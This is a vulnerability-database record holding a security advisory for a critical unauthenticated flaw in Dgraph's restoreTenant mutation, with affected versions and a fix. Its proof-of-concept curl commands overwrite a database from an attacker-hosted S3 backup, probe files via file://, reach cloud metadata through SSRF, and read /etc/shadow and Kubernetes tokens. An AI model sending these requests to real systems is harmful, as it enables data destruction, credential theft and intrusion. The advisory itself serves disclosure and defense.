{"id":"CVE-2026-34976","aliases":["GHSA-p5rh-vmhp-gvcw","GO-2026-5529"],"title":"Dgraph: Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization","summary":"Dgraph: Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization","severity":"critical","cvss":10,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","vendor":"dgraph-io","product":"github.com/dgraph-io/dgraph/v25","ecosystem":"go","affected":["github.com/dgraph-io/dgraph/v25 < 25.3.1","github.com/dgraph-io/dgraph/v24 <= 24.0.5","github.com/dgraph-io/dgraph <= 1.2.8"],"patched":["github.com/dgraph-io/dgraph/v25 25.3.1"],"published":"2026-04-02","updated":"2026-08-11","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-p5rh-vmhp-gvcw","references":[{"url":"https://github.com/dgraph-io/dgraph/security/advisories/GHSA-p5rh-vmhp-gvcw"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34976"},{"url":"https://github.com/dgraph-io/dgraph/commit/b15c87e9353e36618bf8e0df3bd945c0ce7105ef"},{"url":"https://github.com/dgraph-io/dgraph"},{"url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.3.1"}],"tags":["osv","go","exploit-available"],"epss":0.02036,"epssPercentile":0.80234,"ingestedAt":"2026-08-12T19:18:08.128Z","exploits":{"nuclei":["CVE-2026-34976"],"checkedAt":"2026-09-23T07:14:01.988Z"},"exploitAvailable":true,"slug":"CVE-2026-34976","body":"## Overview\n\nThe `restoreTenant` admin mutation is missing from the authorization middleware config (`admin.go:499-522`), making it completely unauthenticated. Unlike the similar `restore` mutation which requires Guardian-of-Galaxy authentication, `restoreTenant` executes with zero middleware.\n\nThis mutation accepts attacker-controlled backup source URLs (including `file://` for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF.\n\n## Authentication Bypass\n\nEvery admin mutation has middleware configured in `adminMutationMWConfig` (`admin.go:499-522`) EXCEPT `restoreTenant`. The `restore` mutation has `gogMutMWs` (Guardian of Galaxy auth + IP whitelist + logging). `restoreTenant` is absent from the map.\n\nWhen middleware is looked up at `resolve/resolver.go:431`, the map returns nil. The `Then()` method at `resolve/middlewares.go:98` checks `len(mws) == 0` and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging.\n\n## PoC 1: Pre-Auth Database Overwrite\n\nThe attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace's entire database:\n\n    # No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials.\n    curl -X POST http://dgraph-alpha:8080/admin \\\n      -H \"Content-Type: application/json\" \\\n      -d '{\n        \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://attacker-bucket/evil-backup\\\", accessKey: \\\"AKIAIOSFODNN7EXAMPLE\\\", secretKey: \\\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\\\", anonymous: false }, fromNamespace: 0 }) { code message } }\"\n      }'\n\n    # Response: {\"data\":{\"restoreTenant\":{\"code\":\"Success\",\"message\":\"Restore operation started.\"}}}\n    # The server fetches the attacker's backup from S3 and overwrites namespace 0 (root namespace).\n\nThe resolver at `admin/restore.go:54-74` passes `location`, `accessKey`, `secretKey` directly to `worker.ProcessRestoreRequest`. The worker at `online_restore.go:98-106` connects to the attacker's S3 bucket and restores the malicious backup, overwriting all data.\n\nNote: the `anonymous: true` flag (`minioclient.go:108-113`) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a **public S3 bucket** without providing any AWS keys:\n\n    mutation { restoreTenant(input: {\n      restoreInput: { location: \"s3://public-attacker-bucket/evil-backup\", anonymous: true },\n      fromNamespace: 0\n    }) { code message } }\n\n## Live PoC Results (Dgraph v24.x Docker)\n\nTested against `dgraph/dgraph:latest` in Docker. Side-by-side comparison:\n\n    # restore (HAS middleware) -> BLOCKED\n    $ curl ... '{\"query\": \"mutation { restore(...) { code } }\"}'\n    {\"errors\":[{\"message\":\"resolving restore failed because unauthorized ip address: 172.25.0.1\"}]}\n\n    # restoreTenant (MISSING middleware) -> AUTH BYPASSED\n    $ curl ... '{\"query\": \"mutation { restoreTenant(...) { code } }\"}'\n    {\"errors\":[{\"message\":\"resolving restoreTenant failed because failed to verify backup: No backups with the specified backup ID\"}]}\n\nThe `restore` mutation is blocked by the IP whitelist middleware. The `restoreTenant` mutation bypasses all middleware and reaches the backup verification logic.\n\nFilesystem enumeration also confirmed with distinct error messages:\n- `/etc/` (exists): \"No backups with the specified backup ID\" (directory scanned)\n- `/nonexistent/` (doesn't exist): \"The uri path doesn't exists\" (path doesn't exist)\n- `/tmp/` (exists, empty): \"No backups with the specified backup ID\" (directory scanned)\n\n## PoC 2: Local Filesystem Probe via file:// Scheme\n\n    curl -X POST http://dgraph-alpha:8080/admin \\\n      -H \"Content-Type: application/json\" \\\n      -d '{\n        \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"file:///etc/\\\" }, fromNamespace: 0 }) { code message } }\"\n      }'\n\n    # Error response reveals whether /etc/ exists and its structure.\n    # backup_handler.go:130-132 creates a fileHandler for file:// URIs.\n    # fileHandler.ListPaths at line 161-166 walks the local filesystem.\n    # fileHandler.Read at line 153 reads files: os.ReadFile(h.JoinPath(path))\n\n## PoC 3: SSRF via S3 Endpoint\n\n    curl -X POST http://dgraph-alpha:8080/admin \\\n      -H \"Content-Type: application/json\" \\\n      -d '{\n        \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://169.254.169.254/latest/meta-data/\\\" }, fromNamespace: 0 }) { code message } }\"\n      }'\n\n    # The Minio client at backup_handler.go:257 connects to 169.254.169.254 as an S3 endpoint.\n    # Error response may leak cloud metadata information.\n\n## PoC 4: Vault SSRF + Server File Path Read\n\n    curl -X POST http://dgraph-alpha:8080/admin \\\n      -H \"Content-Type: application/json\" \\\n      -d '{\n        \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://attacker-bucket/backup\\\", accessKey: \\\"AKIA...\\\", secretKey: \\\"...\\\", vaultAddr: \\\"http://internal-service:8080\\\", vaultRoleIDFile: \\\"/var/run/secrets/kubernetes.io/serviceaccount/token\\\", vaultSecretIDFile: \\\"/etc/passwd\\\", encryptionKeyFile: \\\"/etc/shadow\\\" }, fromNamespace: 0 }) { code message } }\"\n      }'\n\n    # vaultAddr at online_restore.go:484 triggers SSRF to internal-service:8080\n    # vaultRoleIDFile at online_restore.go:478-479 reads the K8s SA token from disk\n    # encryptionKeyFile at online_restore.go:475 reads /etc/shadow via BuildEncFlag\n\n## Fix\n\nAdd `restoreTenant` to `adminMutationMWConfig`:\n\n    \"restoreTenant\": gogMutMWs,\n\nKoda Reef\n\n## Affected packages\n\n- `github.com/dgraph-io/dgraph/v25 < 25.3.1`\n- `github.com/dgraph-io/dgraph/v24 <= 24.0.5`\n- `github.com/dgraph-io/dgraph <= 1.2.8`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/dgraph-io/dgraph/v25 25.3.1`","depth":"abyssal","depthScore":67,"depthScoreParts":{"impact":55,"likelihood":0.4,"exploitation":12,"ransomware":0},"changes":[{"seq":5133,"id":"CVE-2026-34976","ts":1788887250220,"field":"exploit_available","old":"false","new":"true"},{"seq":4016,"id":"CVE-2026-34976","ts":1788886365981,"field":"exploit_available","old":"true","new":"false"},{"seq":2827,"id":"CVE-2026-34976","ts":1788883032364,"field":"exploit_available","old":"false","new":"true"},{"seq":1856,"id":"CVE-2026-34976","ts":1788882435592,"field":"exploit_available","old":"true","new":"false"},{"seq":954,"id":"CVE-2026-34976","ts":1788881869512,"field":"exploit_available","old":"false","new":"true"}]}